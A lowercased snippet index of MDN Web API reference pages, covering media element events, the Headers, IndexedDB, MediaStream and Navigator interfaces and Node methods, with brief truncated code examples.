using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('stalled', (event) => { console.log('failed to fetch data, but trying.'); }); using the onstalled event handler property: const video = document.queryselector('video'); video.onstalled = (event) => { console.log('failed to fetch data, but trying.'); }; specifications specification stat...
HTMLMediaElement: suspend event - Web APIs
using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('suspend', (event) => { console.log('data loading has been suspended.'); }); using the onsuspend event handler property: const video = document.queryselector('video'); video.onsuspend = (event) => { console.log('data loading has been suspended.'); }; specifications specification status...
HTMLMediaElement.videoTracks - Web APIs
the list of tracks can be accessed using array notation, or using the object's gettrackbyid() method.
HTMLMediaElement: volumechange event - Web APIs
using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('volumechange', (event) => { console.log('the volume changed.'); }); using the onvolumechange event handler property: const video = document.queryselector('video'); video.onvolumechange = (event) => { console.log('the volume changed.'); }; specifications specification status ...
HTMLMediaElement: waiting event - Web APIs
using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('waiting', (event) => { console.log('video is waiting for more data.'); }); using the onwaiting event handler property: const video = document.queryselector('video'); video.onwaiting = (event) => { console.log('video is waiting for more data.'); }; specifications specification status ...
HTMLScriptElement - Web APIs
note: when inserted using the document.write() method, <script> elements execute (typically synchronously), but when inserted using innerhtml or outerhtml, they do not execute at all.
HTMLSelectElement.item() - Web APIs
in javascript, using the array bracket syntax with an unsigned long, like selectelt[index] is equivalent to selectelt.nameditem(index).
HTMLSelectElement.namedItem() - Web APIs
in javascript, using the array bracket syntax with a string, like selectelt["value"] is equivalent to selectelt.nameditem("value").
HTMLSelectElement - Web APIs
events listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of this interface: input event fires when the value of an <input>, <select>, or <textarea> element has been changed.
HTMLStyleElement - Web APIs
to manipulate css, see using dynamic styling information for an overview of the objects used to manipulate specified css properties using the dom.
HTMLTableCellElement - Web APIs
header cells can be configured, using the scope property, the apply to a specified row or column, or to the not-yet-scoped cells within the current row group (that is, the same ancestor <thead>, <tbody>, or <tfoot> element).
HTMLTableElement.bgColor - Web APIs
the css background-color property should be used instead by modifying the element's style object or using a style rule.
HTMLTableElement.insertRow() - Web APIs
(to be valid html, a <tr> must have at least one <td> element.) finally, we add some text to the cell using document.createtextnode() and node.appendchild().
HTMLTableElement - Web APIs
you should avoid using them.
HTMLTableRowElement.insertCell() - Web APIs
(to be valid html, a <tr> must have at least one <td> element.) finally, we add some text to the cell using document.createtextnode() and node.appendchild().
HTMLTextAreaElement - Web APIs
events listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of this interface: input event fires when the value of an <input>, <select>, or <textarea> element has been changed.
HTMLVideoElement.msIsLayoutOptimalForPlayback - Web APIs
syntax htmlvideoelement.msislayoutoptimalforplayback: domstring; value boolean value set to true indicates that video is being rendered optimally (better performance and using less battery power).
HTMLVideoElement - Web APIs
listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of this interface.
File drag and drop - Web APIs
in a real application, an application may want to process a file using the file api.
HashChangeEvent - Web APIs
examples syntax options for a hash change you can listen for the hashchange event using any of the following options: window.onhashchange = funcref; or <body onhashchange="funcref();"> or window.addeventlistener("hashchange", funcref, false); basic example function locationhashchanged() { if (location.hash === '#somecoolfeature') { somecoolfeature(); } } window.addeventlistener('hashchange', locationhashchanged); polyfill there are several fallback scripts l...
Headers() - Web APIs
WebAPIHeadersHeaders
example creating an empty headers object is simple: var myheaders = new headers(); // currently empty you could add a header to this using headers.append: myheaders.append('content-type', 'image/jpeg'); myheaders.get('content-type'); // returns 'image/jpeg' or you can add the headers you want as the headers object is created.
Headers.append() - Web APIs
WebAPIHeadersappend
example creating an empty headers object is simple: var myheaders = new headers(); // currently empty you could add a header to this using append(): myheaders.append('content-type', 'image/jpeg'); myheaders.get('content-type'); // returns 'image/jpeg' if the specified header already exists, append() will change its value to the specified value.
Headers.delete() - Web APIs
WebAPIHeadersdelete
example creating an empty headers object is simple: var myheaders = new headers(); // currently empty you could add a header to this using headers.append: myheaders.append('content-type', 'image/jpeg'); myheaders.get('content-type'); // returns 'image/jpeg' you can then delete it again: myheaders.delete('content-type'); myheaders.get('content-type'); // returns null, as it has been deleted specifications specification status comment fetchthe definition of 'delete()' in that specification.
Headers.get() - Web APIs
WebAPIHeadersget
example creating an empty headers object is simple: var myheaders = new headers(); // currently empty myheaders.get('not-set'); // returns null you could add a header to this using headers.append, then retrieve it using get(): myheaders.append('content-type', 'image/jpeg'); myheaders.get('content-type'); // returns "image/jpeg" if the header has multiple values associated with it, the byte string will contain all the values, in the order they were added to the headers object: myheaders.append('accept-encoding', 'deflate'); myheaders.append('accept-encoding', 'gzip'); my...
Headers.has() - Web APIs
WebAPIHeadershas
example creating an empty headers object is simple: var myheaders = new headers(); // currently empty you could add a header to this using headers.append, then test for the existence of it using has(): myheaders.append('content-type', 'image/jpeg'); myheaders.has('content-type'); // returns true myheaders.has('accept-encoding'); // returns false specifications specification status comment fetchthe definition of 'has()' in that specification.
Headers.set() - Web APIs
WebAPIHeadersset
example creating an empty headers object is simple: var myheaders = new headers(); // currently empty you could add a header to this using headers.append, then set a new value for this header using set(): myheaders.append('content-type', 'image/jpeg'); myheaders.set('content-type', 'text/html'); if the specified header does not already exist, set() will create it and set its value to the specified value.
History.state - Web APIs
WebAPIHistorystate
examples the code below logs the value of history.state before using the pushstate() method to push a value to the history.
History API - Web APIs
concepts and usage moving backward and forward through the user's history is done using the back(), forward(), and go() methods.
IDBCursor.advance() - Web APIs
WebAPIIDBCursoradvance
note that in each iteration of the loop, you can grab data from the current record under the cursor object using cursor.value.foo.
IDBCursor.continue() - Web APIs
also note that in each iteration of the loop, you can grab data from the current record under the cursor object using cursor.value.foo.
IDBCursor.continuePrimaryKey() - Web APIs
using it for cursors coming from an object store will throw an error.
IDBCursor.key - Web APIs
WebAPIIDBCursorkey
also note that in each iteration of the loop, you can grab data from the current record under the cursor object using cursor.value.foo.
IDBCursor.primaryKey - Web APIs
also note that in each iteration of the loop, you can grab data from the current record under the cursor object using cursor.value.foo.
IDBCursor.source - Web APIs
WebAPIIDBCursorsource
also note that in each iteration of the loop, you can grab data from the current record under the cursor object using cursor.value.foo.
IDBCursor - Web APIs
WebAPIIDBCursor
also note that in each iteration of the loop, you can grab data from the current record under the cursor object using cursor.value.foo.
IDBCursorWithValue.value - Web APIs
also note that in each iteration of the loop, you can grab data from the current record under the cursor object using cursor.value.foo.
IDBCursorWithValue - Web APIs
also note that in each iteration of the loop, you can grab data from the current record under the cursor object using cursor.value.foo.
IDBDatabase.close() - Web APIs
WebAPIIDBDatabaseclose
the connection is not actually closed until all transactions created using this connection are complete.
IDBDatabase: error event - Web APIs
dbopenrequest.result; db.addeventlistener('error', () => { console.log(`error adding new item: ${newitem.tasktitle}`); }); // open a read/write db transaction, ready for adding the data const transaction = db.transaction(['todolist'], 'readwrite'); const objectstore = transaction.objectstore('todolist'); const objectstorerequest = objectstore.add(newitem); }; the same example, using the onerror property instead of addeventlistener(): // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db = event.target.result; // create an objectstore for this database const objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain...
IDBDatabase.onerror - Web APIs
note: consider using idbopendbrequest.onsuccess instead (see idbrequest.onsuccess, where it is inherited from).
IDBDatabase.transaction() - Web APIs
you're storing critical data that cannot be recomputed later) you can force a transaction to flush to disk before delivering the complete event by creating a transaction using the experimental (non-standard) readwriteflush mode (see idbdatabase.transaction.) this is currently experimental, and can only be used if the dom.indexeddb.experimental pref is set to true in about:config.
IDBDatabase: versionchange event - Web APIs
teindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.addeventlistener('success', event => { const db = event.target.result; db.addeventlistener('versionchange', event => { console.log('the version of this database has changed'); }); }); the same example, using the onversionchange event handler property: // open the database const dbopenrequest = window.indexeddb.open('nonexistent', 4); dbopenrequest.onupgradeneeded = event => { const db = event.target.result; // create an objectstore for this database const objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objec...
IDBDatabaseSync - Web APIs
openobjectstore() opens the object store with the given name in the connected database using the specified mode.
IDBFactorySync - Web APIs
if there is already a database with the specified name, it uses that one; otherwise, it creates the database using the specified name and description.
IDBIndex.count() - Web APIs
WebAPIIDBIndexcount
we then open a basic cursor on the index using idbindex.opencursor — this works the same as opening a cursor directly on an objectstore using idbobjectstore.opencursor except that the returned records are sorted based on the index, not the primary key.
IDBIndex.get() - Web APIs
WebAPIIDBIndexget
we then open a basic cursor on the index using idbindex.opencursor — this works the same as opening a cursor directly on an objectstore using idbobjectstore.opencursor except that the returned records are sorted based on the index, not the primary key.
IDBIndex.getKey() - Web APIs
WebAPIIDBIndexgetKey
we then open a basic cursor on the index using idbindex.opencursor — this works the same as opening a cursor directly on an objectstore using idbobjectstore.opencursor except that the returned records are sorted based on the index, not the primary key.
IDBIndex.isAutoLocale - Web APIs
we then open a basic cursor on the index using idbindex.opencursor — this works the same as opening a cursor directly on an objectstore using idbobjectstore.opencursor except that the returned records are sorted based on the index, not the primary key.
IDBIndex.keyPath - Web APIs
WebAPIIDBIndexkeyPath
we then open a basic cursor on the index using idbindex.opencursor — this works the same as opening a cursor directly on an objectstore using idbobjectstore.opencursor except that the returned records are sorted based on the index, not the primary key.
IDBIndex.locale - Web APIs
WebAPIIDBIndexlocale
we then open a basic cursor on the index using idbindex.opencursor — this works the same as opening a cursor directly on an objectstore using idbobjectstore.opencursor except that the returned records are sorted based on the index, not the primary key.
IDBIndex.openCursor() - Web APIs
we then open a basic cursor on the index using opencursor() — this works the same as opening a cursor directly on an objectstore using idbobjectstore.opencursor except that the returned records are sorted based on the index, not the primary key.
IDBIndex.openKeyCursor() - Web APIs
we then open a key cursor on the index using openkeycursor() — this works the same as opening a cursor directly on an objectstore using idbobjectstore.openkeycursor except that the returned records are sorted based on the index, not the primary key.
IDBKeyRange.bound() - Web APIs
WebAPIIDBKeyRangebound
we open a transaction (using idbtransaction) and an object store, and open a cursor with idbobjectstore.opencursor, declaring keyrangevalue as its optional key range value.
IDBKeyRange.lower - Web APIs
WebAPIIDBKeyRangelower
we open a transaction (using idbtransaction) and an object store, and open a cursor with idbobjectstore.opencursor, declaring keyrangevalue as its optional key range value.
IDBKeyRange.lowerBound() - Web APIs
we open a transaction (using idbtransaction) and an object store, and open a cursor with idbobjectstore.opencursor, declaring keyrangevalue as its optional key range value.
IDBKeyRange.lowerOpen - Web APIs
we open a transaction (using idbtransaction) and an object store, and open a cursor with idbobjectstore.opencursor, declaring keyrangevalue as its optional key range value.
IDBKeyRange.only() - Web APIs
WebAPIIDBKeyRangeonly
we open a transaction (using idbtransaction) and an object store, and open a cursor with idbobjectstore.opencursor, declaring keyrangevalue as its optional key range value.
IDBKeyRange.upper - Web APIs
WebAPIIDBKeyRangeupper
we open a transaction (using idbtransaction) and an object store, and open a cursor with idbobjectstore.opencursor, declaring keyrangevalue as its optional key range value.
IDBKeyRange.upperBound() - Web APIs
we open a transaction (using idbtransaction) and an object store, and open a cursor with idbobjectstore.opencursor, declaring keyrangevalue as its optional key range value.
IDBKeyRange.upperOpen - Web APIs
we open a transaction (using idbtransaction) and an object store, and open a cursor with idbobjectstore.opencursor, declaring keyrangevalue as its optional key range value.
IDBMutableFile - Web APIs
note: this interface used to be called filehandle , but it was changed to this (bug 1006485.) as idbmutablefile objects are bound to a fake file system built on top of indexeddb, such an object is created using the idbdatabase.createmutablefile method.
IDBObjectStore.add() - Web APIs
example in the following code snippet, we open a read/write transaction on our database and add some data to an object store using add().
IDBObjectStore.autoIncrement - Web APIs
example in the following code snippet, we open a read/write transaction on our database and add some data to an object store using add().
IDBObjectStore.clear() - Web APIs
example in the following code snippet, we open a read/write transaction on our database and clear all the current data out of the object store using clear().
IDBObjectStore.count() - Web APIs
example in this simple fragment we create a transaction, retrieve an object store, then count the number of records in the store using count() — when the success handler fires, we log the count value (an integer) to the console.
IDBObjectStore.indexNames - Web APIs
example in the following code snippet, we open a read/write transaction on our database and add some data to an object store using add().
IDBObjectStore.keyPath - Web APIs
example in the following code snippet, we open a read/write transaction on our database and add some data to an object store using add().
IDBObjectStore.put() - Web APIs
bear in mind that if you have a idbcursor to the record you want to update, updating it with idbcursor.update() is preferable to using idbobjectstore.put().
IDBObjectStore.transaction - Web APIs
example in the following code snippet, we open a read/write transaction on our database and add some data to an object store using add().
IDBObjectStore - Web APIs
idbobjectstore.index() opens an index from this object store after which it can, for example, be used to return a sequence of records sorted by that index using a cursor.
IDBObjectStoreSync - Web APIs
openindex() opens the index with the given name, using the mode of the current transaction.
IDBRequest: error event - Web APIs
(['todolist'], 'readwrite'); const objectstore = transaction.objectstore('todolist'); const newitem = { tasktitle: 'my task', hours: 10, minutes: 10, day: 10, month: 'january', year: 2020 }; const objectstorerequest = objectstore.add(newitem); objectstorerequest.addeventlistener('error', () => { console.log(`error adding new item: ${newitem.tasktitle}`); }); }); the same example, using the onerror property instead of addeventlistener(): // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = event => { const db = event.target.result; db.onerror = () => { console.log('error creating database'); }; // create an objectstore for this database var objectstore = db.createobjectstore('todolist', { keypath: 'tas...
IDBTransaction.abort() - Web APIs
at the end, we simply abort any activity done under the current transaction using abort().
IDBTransaction.db - Web APIs
WebAPIIDBTransactiondb
at the end, we return the associated database connection using db.
IDBTransaction: error event - Web APIs
action(['todolist'], 'readwrite'); transaction.addeventlistener('error', () => { console.log(`error adding new item: ${newitem.tasktitle}`); }); const objectstore = transaction.objectstore('todolist'); const newitem = { tasktitle: 'my task', hours: 10, minutes: 10, day: 10, month: 'january', year: 2020 }; const objectstorerequest = objectstore.add(newitem); }; the same example, using the onerror property instead of addeventlistener(): // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db = event.target.result; // create an objectstore for this database const objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain...
IDBTransaction.oncomplete - Web APIs
you're storing critical data that cannot be recomputed later) you can force a transaction to flush to disk before delivering the complete event by creating a transaction using the experimental (non-standard) readwriteflush mode (see idbdatabase.transaction.) this is currently experimental, and can only be used if the dom.indexeddb.experimental pref is set to true in about:config.
IDBTransaction.onerror - Web APIs
note: consider using idbtransaction.onabort instead to handle non- successful completion of the transaction.
IIRFilterNode.getFrequencyResponse() - Web APIs
examples in the following example we are using an iir filter on a media stream (for a complete full demo, see our stream-source-buffer demo live, or read its source.) as part of this demo, we get the frequency responses for this iir filter, for five sample frequencies.
ImageBitmap.close() - Web APIs
WebAPIImageBitmapclose
some drawing using the gl context ...
ImageBitmap - Web APIs
it can be created from a variety of source objects using the createimagebitmap() factory method.
ImageBitmapRenderingContext.transferFromImageBitmap() - Web APIs
some drawing using the gl context ...
ImageCapture.getPhotoCapabilities() - Web APIs
this example also shows how the imagecapture object is created using a mediastreamtrack retrieved from a device's mediastream.
ImageCapture.getPhotoSettings() - Web APIs
this example also shows how the imagecapture object is created using a mediastreamtrack retrieved from a device's mediastream.
ImageCapture.takePhoto() - Web APIs
the takephoto() method of the imagecapture interface takes a single exposure using the video capture device sourcing a mediastreamtrack and returns a promise that resolves with a blob containing the data.
ImageCapture - Web APIs
imagecapture.takephoto() takes a single exposure using the video capture device sourcing a mediastreamtrack and returns a promise that resolves with a blob containing the data.
ImageData.data - Web APIs
WebAPIImageDatadata
n the y direction, times 255 let y = math.ceil(i / 400) / 100 * 255; // modify pixel data imagedata.data[i + 0] = x; // r value imagedata.data[i + 1] = y; // g value imagedata.data[i + 2] = 255 - x; // b value imagedata.data[i + 3] = 255; // a value } // draw image data to the canvas ctx.putimagedata(imagedata, 20, 20); result more examples for more examples using imagedata.data, see pixel manipulation with canvas, canvasrenderingcontext2d.createimagedata(), and canvasrenderingcontext2d.putimagedata().
installChrome - Web APIs
the method performs a simplified installation of language packs or netscape 6/mozilla skins, and saves you the trouble of writing separate installation scripts in the xpi files or using the more sophisticated methods of the install and file objects.
InstallTrigger - Web APIs
it is used for triggering the download and installation of an add-on (or anything packaged in an .xpi file) from a web page, using javascript code to kick off the install process.
IntersectionObserverEntry.boundingClientRect - Web APIs
this value is obtained using the same algorithm as element.getboundingclientrect(), so refer to that article for details on precisely what is done to obtain this rectangle and what is and is not included within its bounds.
KeyboardEvent.charCode - Web APIs
actually with the chinese ime i'm using, entering the ime results in a keypress event with keycode = 229 and no other key events fire until the ime exits (which may happen after multiple characters are inputted).
KeyboardEvent.getModifierState() - Web APIs
event.preventdefault(); // consume the key event break; } } although this example uses .getmodifierstate() with "alt", "control", "meta" and "shift", using event.altkey, event.ctrlkey, event.metakey and event.shiftkey may be more preferable.
KeyboardEvent.initKeyEvent() - Web APIs
the keyboardevent.initkeyevent() method is used to initialize the value of an event created using document.createevent("keyboardevent").
KeyboardEvent.keyCode - Web APIs
you should avoid using this if possible; it's been deprecated for some time.
KeyframeEffect - Web APIs
these can then be played using the animation() constructor.
LayoutShift - Web APIs
// catch errors since some browsers throw when using the new `type` option.
Location: origin - Web APIs
WebAPILocationorigin
the origin read-only property of the location interface is a usvstring containing the unicode serialization of the origin of the represented url; that is: for url using the http or https, the scheme followed by '://', followed by the domain, followed by ':', followed by the port (the default port, 80 and 443 respectively, if explicitely specified); for url using file: scheme, the value is browser dependant; for url using the blob: scheme, the origin of the url following blob:.
Location: replace() - Web APIs
WebAPILocationreplace
the difference from the assign() method is that after using replace() the current page will not be saved in session history, meaning the user won't be able to use the back button to navigate to it.
Location - Web APIs
WebAPILocation
the difference from the assign() method and setting the href property is that after using replace() the current page will not be saved in session history, meaning the user won't be able to use the back button to navigate to it.
MSCandidateWindowShow - Web APIs
you can obtain the positioning information using the getcandidatewindowclientrect method, and adjust your layout as needed to avoid any occlusions with the ime candidate window.
MediaDeviceInfo.groupId - Web APIs
once the promise resolves, we walk the list using foreach().
MediaDevices.enumerateDevices() - Web APIs
example here's an example of using enumeratedevices().
MediaDevices.ondevicechange - Web APIs
this method is called any time we want to fetch the current list of media devices and then update the displayed lists of audo and video devices using that information.
MediaDevices - Web APIs
var video = document.queryselector('video'); var constraints = window.constraints = { audio: false, video: true }; var errorelement = document.queryselector('#errormsg'); navigator.mediadevices.getusermedia(constraints) .then(function(stream) { var videotracks = stream.getvideotracks(); console.log('got stream with constraints:', constraints); console.log('using video device: ' + videotracks[0].label); stream.onremovetrack = function() { console.log('stream ended'); }; window.stream = stream; // make variable available to browser console video.srcobject = stream; }) .catch(function(error) { if (error.name === 'constraintnotsatisfiederror') { errormsg('the resolution ' + constraints.video.width.exact + 'x' + constraints.video.hei...
MediaElementAudioSourceNode.mediaElement - Web APIs
this stream was specified when the node was first created, either using the mediaelementaudiosourcenode() constructor or the audiocontext.createmediaelementsource() method.
MediaError - Web APIs
a mediaerror object describes the error in general terms using a numeric code categorizing the kind of error, and a message, which provides specific diagnostics about what went wrong.
MediaKeySystemAccess - Web APIs
you can request an instance of this object using the navigator.requestmediakeysystemaccess() method.
MediaPositionState.playbackRate - Web APIs
example in this example, an app is updating the browser to let it know that the user has clicked a button causing the playback to shift to a double-speed mode.
MediaQueryList.matches - Web APIs
examples this example detects viewport orientation changes by creating a media query using the orientation media feature: function addmqlistener(mq, callback) { if (mq.addeventlistener) { mq.addeventlistener("change", callback); } else { mq.addlistener(callback); } } addmqlistener(window.matchmedia("(orientation:landscape)"), event => { if (event.matches) { /* now in landscape orientation */ } else { /* now in portrait orientation */ } } ); ...
MediaRecorder.mimeType - Web APIs
keep in mind that not all codecs are supported by a given container; if you write media using a codec that is not supported by a given media container, the resulting file may not work reliably if at all when you try to play it back.
MediaRecorder.onresume - Web APIs
the mediarecorder.onresume event handler (part of the mediarecorder api) handles the resume event, allowing you to run code in response to the media recording being resumed after pausing.
MediaRecorderErrorEvent.error - Web APIs
this may be the case, for example, with sources obtained using getusermedia() when the user denies permission to use an input device.
MediaSession.playbackState - Web APIs
example the following example sets up event handlers, for pausing and playing: var audio = document.queryselector("#player"); audio.src = "song.mp3"; navigator.mediasession.setactionhandler('play', play); navigator.mediasession.setactionhandler('pause', pause); function play() { audio.play(); navigator.mediasession.playbackstate = "playing"; } function pause() { audio.pause(); navigator.mediasession.playbackstate = "paused"; } specifications ...
MediaSession.setActionHandler() - Web APIs
media session actions a media session action's type is specified using a string from the mediasessionaction enumerated type.
MediaSessionActionDetails - Web APIs
media action types a media session action's type is specified using a string from the mediasessionaction enumerated type.
MediaSource.addSourceBuffer() - Web APIs
quotaexceedederror the user agent can't handle any more sourcebuffer objects, or creating a new sourcebuffer using the given mimetype would result in an unsupported configuration of sourcebuffers.
MediaSource.endOfStream() - Web APIs
this can be used to indicate that a parsing error has occured while fetching media data; maybe the data is corrupt, or is encoded using a codec that the browser doesn't know how to decode.
active - Web APIs
example in this example, a new stream whose source is the user's local camera and microphone is requested using getusermedia().
MediaStream: addtrack event - Web APIs
bubbles no cancelable no interface mediastreamtrackevent event handler property onaddtrack examples using addeventlistener(): let stream = new mediastream(); stream.addeventlistener('addtrack', (event) => { console.log(`new ${event.track.kind} track added`); }); using the onaddtrack event handler property: let stream = new mediastream(); stream.onaddtrack = (event) => { console.log(`new ${event.track.kind} track added`); }; specifications specification status media capture and streamsthe definition of 'addtrack' in that specification.
MediaStream.getAudioTracks() - Web APIs
example this example gets a webcam's audio and video in a stream using getusermedia(), attaches the stream to a <video> element, then sets a timer that, upon expiring, will stop the first audio track found on the stream.
MediaStream.onaddtrack - Web APIs
this event is fired when the browser adds a track to the stream (such as when a rtcpeerconnection is renegotiated or a stream being captured using htmlmediaelement.capturestream() gets a new set of tracks because the media element being captured loaded a new source.
MediaStream.onremovetrack - Web APIs
this event is fired when the browser removes a track from the stream (such as when a rtcpeerconnection is renegotiated or a stream being captured using htmlmediaelement.capturestream() gets a new set of tracks because the media element being captured loaded a new source.
MediaStream: removetrack event - Web APIs
bubbles no cancelable no interface mediastreamtrackevent event handler property onremovetrack examples using addeventlistener(): let stream = new mediastream(); stream.addeventlistener('removetrack', (event) => { console.log(`${event.track.kind} track removed`); }); using the onremovetrack event handler property: let stream = new mediastream(); stream.onremovetrack = (event) => { console.log(`${event.track.kind} track removed`); }; specifications specification status media capture and streamsthe definition of 'removetrack' in that specification.
MediaStream - Web APIs
each track is specified as an instance of mediastreamtrack.you can obtain a mediastream object either by using the constructor or by calling mediadevices.getusermedia().
MediaStreamAudioDestinationNode - Web APIs
it is an audionode that acts as an audio destination, created using the audiocontext.createmediastreamdestination method.
MediaStreamAudioSourceNode.mediaStream - Web APIs
this stream was specified when the node was first created, either using the mediastreamaudiosourcenode() constructor or the audiocontext.createmediastreamsource() method.
MediaStreamAudioSourceOptions.mediaStream - Web APIs
the mediastreamaudiosourceoptions dictionary's mediastream property must specify the mediastream from which to retrieve audio data when instantiating a mediastreamaudiosourcenode using the mediastreamaudiosourcenode() constructor.
MediaStreamTrack.applyConstraints() - Web APIs
const constraints = { width: {min: 640, ideal: 1280}, height: {min: 480, ideal: 720}, advanced: [ {width: 1920, height: 1280}, {aspectratio: 1.333} ] }; navigator.mediadevices.getusermedia({ video: true }) .then(mediastream => { const track = mediastream.getvideotracks()[0]; track.applyconstraints(constraints) .then(() => { // do something with the track such as using the image capture api.
MediaStreamTrack: mute event - Web APIs
note: the condition that most people think of as "muted" (that is, a user-toggled state of silencing a track) is actually managed using the mediastreamtrack.enabled property, for which there are no events.
MediaStreamTrack.readyState - Web APIs
in that case, the output of data can be switched on or off using the mediastreamtrack.enabled property.
MediaStreamTrack: unmute event - Web APIs
bubbles no cancelable no interface event event handler property onunmute note: the condition that most people think of as "muted" (that is, a user-controllable way to silence a track) is actually managed using the mediastreamtrack.enabled property, for which there are no events.
MediaStreamTrackAudioSourceOptions.mediaStreamTrack - Web APIs
the mediastreamtrackaudiosourceoptions dictionary's mediastreamtrack property must contain a reference to the mediastreamtrack from which the mediastreamtrackaudiosourcenode being created using the mediastreamtrackaudiosourcenode() constructor.
MediaStreamTrackAudioSourceOptions - Web APIs
it isn't needed when using the audiocontext.createmediastreamtracksource() method.
MediaTrackConstraints.cursor - Web APIs
for example, if your app needs to alter the stream by inserting a representation of the cursor position if the stream doesn't include the rendered cursor, you can determine the need to do so by using code like this: let insertfakecursorflag = false; if (displaystream.getvideotracks()[0].getsettings().cursor === "never") { insertfakecursorflag = true; } following this code, insertfakecursorflag is true if there's no cursor rendered into the stream already.
MediaTrackConstraints - Web APIs
properties of shared screen tracks these constraints apply to mediatrackconstraints objects specified as part of the displaymediastreamconstraints object's video property when using getdisplaymedia() to obtain a stream for screen sharing.
MerchantValidationEvent.validationURL - Web APIs
once this has been loaded, it should be passed into complete(), either directly or using a promise.
MessageEvent.ports - Web APIs
example onconnect = function(e) { var port = e.ports[0]; port.addeventlistener('message', function(e) { var workerresult = 'result: ' + (e.data[0] * e.data[1]); port.postmessage(workerresult); }); port.start(); // required when using addeventlistener.
Metadata - Web APIs
WebAPIMetadata
this interface isn't available through the global scope; instead, you obtain a metadata object describing a filesystementry using the method filesystementry.getmetadata().
MouseEvent.movementX - Web APIs
syntax var xshift = instanceofmouseevent.movementx; return value a number example this example logs the amount of mouse movement using movementx and movementy.
MouseEvent.movementY - Web APIs
syntax var yshift = instanceofmouseevent.movementy; return value a number example this example logs the amount of mouse movement using movementx and movementy.
MouseEvent.region - Web APIs
WebAPIMouseEventregion
example example of using the event.region combined with canvasrenderingcontext2d.addhitregion() method.
msPlayToSource - Web APIs
msplaytosource is used in the sourcerequested handler -- get the playtosource object from an audio, video, or img element using the msplaytosource property and pass it to e.setsource, then set the playtosource.next property to the msplaytosource of another element for continual playing.
MutationEvent - Web APIs
mutation events list the following is a list of all mutation events, as defined in dom level 3 events specification: domattrmodified domattributenamechanged domcharacterdatamodified domelementnamechanged domnodeinserted domnodeinsertedintodocument domnoderemoved domnoderemovedfromdocument domsubtreemodified usage you can register a listener for mutation events using eventtarget.addeventlistener() as follows: element.addeventlistener("domnodeinserted", function (event) { // ...
MutationObserver.observe() - Web APIs
usage notes reusing mutationobservers you can call observe() multiple times on the same mutationobserver to watch for changes to different parts of the dom tree and/or different types of changes.
MutationObserverInit.attributeFilter - Web APIs
for any items representing an attribute change (which can be detected by the value of mutationrecord.type being "attributes"), we use the attribute's name, obtained using mutationrecord.attributename, to identify the type of change that occurred and then dispatch to the appropriate handler function.
MutationObserverInit.attributeOldValue - Web APIs
when using attributeoldvalue, setting the attributes option to true is optional.
MutationObserverInit.attributes - Web APIs
you can expand the capabilities of attribute mutation monitoring using other options: attributefilter lets you specify specific attribute names to monitor instead of monitoring all attributes.
MutationObserverInit.characterData - Web APIs
you can expand the capabilities of attribute mutation monitoring using other options: characterdataoldvalue lets you specify whether or not you want the previous value of changed text nodes to be provided using the mutationrecord's oldvalue property.
NameList - Web APIs
WebAPINameList
try to avoid using it.
NavigationPreloadManager - Web APIs
await self.registration.navigationpreload.enable(); } }()); }); using a preloaded response the following example shows the implementation of a fetch event that uses a preloaded response.
Navigator.clipboard - Web APIs
this permission must be obtained from the permissions api using the "clipboard-read" and/or "clipboard-write" permissions.
Navigator.getBattery() - Web APIs
this implements the battery status api; see that documentation for additional details, a guide to using the api, and sample code.
Navigator.sendBeacon() - Web APIs
the following example shows a theoretical analytics code pattern that submits data to a server using the sendbeacon() method.
NavigatorConcurrentHardware - Web APIs
modern computers have multiple physical cores in their cpu (two or four cores is typical), but each physical core is also usually able to run more than one thread at a time using advanced scheduling techniques.
NavigatorID.appVersion - Web APIs
the window.navigator.appversion, window.navigator.appname and window.navigator.useragent properties have been used in "browser sniffing" code: scripts that attempt to find out what kind of browser you are using and adjust pages accordingly.
NavigatorID.userAgent - Web APIs
new browsers may start using the same ua, or part of it, as an older browser: you really have no guarantee that the browser agent is indeed the one advertised by this property.
NavigatorLanguage.languages - Web APIs
the language is described using bcp 47 language tags.
NavigatorPlugins.plugins - Web APIs
the returned value is not a javascript array, but has the length property and supports accessing individual items using bracket notation (plugins[2]), as well as via item(index) and nameditem("name") methods.
NavigatorStorage - Web APIs
the storage standard is designed to serve as a common basis for the implementation of all of those apis and storage technologies, so that their constraints and configurations can be understood and controlled using a common set of methods and properties.
NetworkInformation.downlinkMax - Web APIs
examples the following example monitors the connection using the change event and logs changes as they occur.
NetworkInformation.effectiveType - Web APIs
this value is determined using a combination of recently observed, round-trip time and downlink values.
NetworkInformation.type - Web APIs
the networkinformation.type read-only property returns the type of connection a device is using to communicate with the network.
Network Information API - Web APIs
let preloadvideo = true; var connection = navigator.connection || navigator.mozconnection || navigator.webkitconnection; if (connection) { if (connection.effectivetype === 'slow-2g') { preloadvideo = false; } } interfaces networkinformation provides information about the connection a device is using to communicate with the network and provides a means for scripts to be notified if the connection type changes.
Node.firstChild - Web APIs
WebAPINodefirstChild
syntax var childnode = node.firstchild; example this example demonstrates the use of firstchild and how whitespace nodes might interfere with using this property.
Node.isEqualNode() - Web APIs
WebAPINodeisEqualNode
then we run some javascript to compare the nodes using isequalnode() and output the results.
Node.isSameNode() - Web APIs
WebAPINodeisSameNode
then we run some javascript to compare the nodes using issamenode() and output the results.
Node.namespaceURI - Web APIs
WebAPINodenamespaceURI
you can create an element with the specified namespaceuri using the dom level 2 method document.createelementns and attributes with the method element.setattributens.
Node.nodePrincipal - Web APIs
try to avoid using it.
Node.previousSibling - Web APIs
therefore a node obtained, for example, using node.firstchild or node.previoussibling may refer to a whitespace text node rather than the actual element the author intended to get.
Node.removeChild() - Web APIs
WebAPINoderemoveChild
